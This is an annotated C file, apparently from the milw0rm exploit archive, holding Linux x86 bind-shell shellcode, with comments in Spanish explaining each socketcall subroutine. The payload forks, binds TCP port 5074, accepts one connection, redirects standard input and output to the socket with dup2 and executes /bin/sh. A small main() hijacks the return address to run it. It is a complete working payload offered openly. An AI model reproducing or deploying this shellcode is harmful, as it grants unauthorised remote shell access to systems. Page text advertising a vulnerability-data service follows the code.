/*
* [email protected]
* 0x9abril0x7d2
sys_socketcall (102) (0x66) %eax, esta es nuestra rutina principal.
En todas las subrutinas vamos a necesitar a:
%eax = 0x66.
Luego del archivo include/linux/net.h obtenemos la siguiente lista, echenle un vistazo.
Entonces en %ebx vamos a necesitar el valor de la subrutina que estemos.
subrutina %ebx
--------------------
SYS_SOCKET 0x1
SYS_BIND 0x2
SYS_CONNECT 0x3
SYS_LISTEN 0x4
SYS_ACCEPT 0x5
--------------------
En memoria vamos asi
Cada subrutina va a afectar a %ebp de la siguiente forma
%ebp
---------------------------------------------------------
offset 0x8 0xc 0x10 0x14 0x16 0x18
=========================================================
socket |0x2 |0x1 |0x0 |///////|///////|///////|
-------------------------------------------------
bind |0x5(1) |*0x14 |0x10 |0x2 |0xd213 |0x0 |
-------------------------------------------------
listen |0x5(1) |0x1 |0x10 |0x2 |0xd213 |0x0 |
-------------------------------------------------
accept |0x5(1) |0x0 |NULL |0x2 |0xd213 |0x0 |
-------------------------------------------------
*0x14 es la direccion de memoria de %ebp+14
(*1) el valor de %eax cambia despues de cada syscall
(*2) Remitirse al archivo adjunto notas-lnx-bind.txt
*
*/
#include <stdio.h>
char shellcode[]=
// Shellcode // AsmCode / Comentarios Referencia kernel
// sys_fork (2)
"\x31\xc0" // xorl %eax,%eax
"\x89\xc3" // movl %eax,%ebx
"\xb0\x02" // movb $0x2,%al / sys_fork (2)
"\xcd\x80" // int $0x80
"\x38\xc3" // cmpl %ebx,%eax / Pregunto; %eax = 0x0
"\x74\x05" // je 0x5 / Si es verdadero me salto el la funcion exit
// sys_exit (1)
"\x8d\x43\x01" // leal 0x1(%ebx),%eax / sys_exit (1)
"\xcd\x80" // int $0x80
// Subrutina socket
// soccer=socket(2,1,0)
"\x31\xc0" // xorl %eax,%eax
"\x89\x45\x10" // movl %eax,0x10(%ebp) / IPPROTO_IP = 0x0 include/linux/in.h
"\x40" // incl %eax / %eax es 0x1
"\x89\xc3" // movl %eax,%ebx / SYS_SOCKET = 0x1 include/linux/net.h
"\x89\x45\x0c" // movl %eax,0xc(%ebp) / SOCK_STREAM = 0x1 include/linux/socket.h
"\x40" // incl %eax / %eax es 0x2
"\x89\x45\x08" // movl %eax,0x8(%ebp) / AF_INET = 0x2 include/linux/socket.h
"\x8d\x4d\x08" // leal 0x8(%ebp),%ecx / Direccion de nuestra construccion a %ecx
"\xb0\x66" // movb $0x66,%al / sys_socketcall (102)
"\xcd\x80" // int $0x80
"\x89\x45\x08" // movl %eax,0x8(%ebp) / Guardo el valor de %eax en 0x8(%ebp) Ref(*1)
// %eax=0x5 %ebx=0x1 %ecx=(%edi+8) %edx=0x3
// Subrutina bind
// bind(soccer, (struct sockaddr*)&serv, sizeof(struct sockaddr))
"\x43" // incl %ebx / SYS_BIND = 0x2 include/linux/net.h
"\x66\x89\x5d\x14" // movw %bx,0x14(%ebp) / AF_INET = 0x2 include/linux/socket.h
"\x66\xc7\x45\x16\x13\xd2" // movw $0xd213,0x16(%ebp) / Numero de puerto 5074ipv6 ;-))
"\x31\xd2" // xorl %edx,%edx
"\x89\x55\x18" // movl %edx,0x18(%ebp) / %edx es 0x0
"\x8d\x55\x14" // leal 0x14(%ebp),%edx / Usamos %edx como registro intermedio
"\x89\x55\x0c" // movl %edx,0xc(%ebp) /
"\xc6\x45\x10\x10" // movb $0x10,0x10(%ebp) / sizeof(struct sockaddr) = 10h = 16
"\xb0\x66" // movb $0x66,%al / 4 bytes = AF_INET
"\xcd\x80" // int $0x80 / 4 bytes = Puerto
// 8 bytes = 0.0.0.0
// %eax=0x0 %ebx=0x2 %ecx=(%edi+8) %edx=(%edi+14)
// Subrutina listen
// listen(soccer, 1)
"\x40" // incl %eax
"\x89\x45\x0c" // movl %eax,0xc(%ebp) / Aceptamos 1 conexion, 2 no tendria sentido
"\x43" // incl %ebx / Ref(*2a)
"\x43" // incl %ebx / SYS_LISTEN = 0x4 include/linux/net.h
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
// %eax=0x0 %ebx=0x4 %ecx(%edi+8) %edx=(%edi+14)
// Subrutina accept
// int accept(int s, struct sockaddr *addr, socklen_t *addrlen);
"\x43" // incl %ebx / %ebx es 0x5
"\x89\x45\x0c" // movl %eax,0xc(%ebp) / Ponemos 0 en 0xc(%ebp)
"\x89\x45\x10" // movl %eax,0x10(%ebp) / Y un NULL en 0x10(%ebp) Ref(*2b)
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x89\xc3" // movl %eax,%ebx / El valor de soccer a %ebx
// Ahora vamos a cambiar la syscall a sys_dup2 (63)
// dup2(soccer, 0) el valor de soccer ya lo tenemos en ebx 3 lineas arriba
"\x31\xc9" // xorl %ecx,%ecx / %ecx es 0x0
"\xb0\x3f" // movb $0x3f,%al / sys_dup2 (63)
"\xcd\x80" // int $0x80 /
"\x41" // incl %ecx / %ecx es 0x1
"\x80\xf9\x03" // cmpb $0x3,%cl / Pregunto; %ecx = 3
"\x75\xf6" // jne -0xa / si es falso salto al movb
// execve // Minishell de Raise
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al / Raise: esta linea la modifique para reducir 1 byte
"\xcd\x80"; // int $0x80
void main () {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%d\n",strlen(shellcode));
(*ret) = (int)shellcode;
}
// milw0rm.com [2004-09-12]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation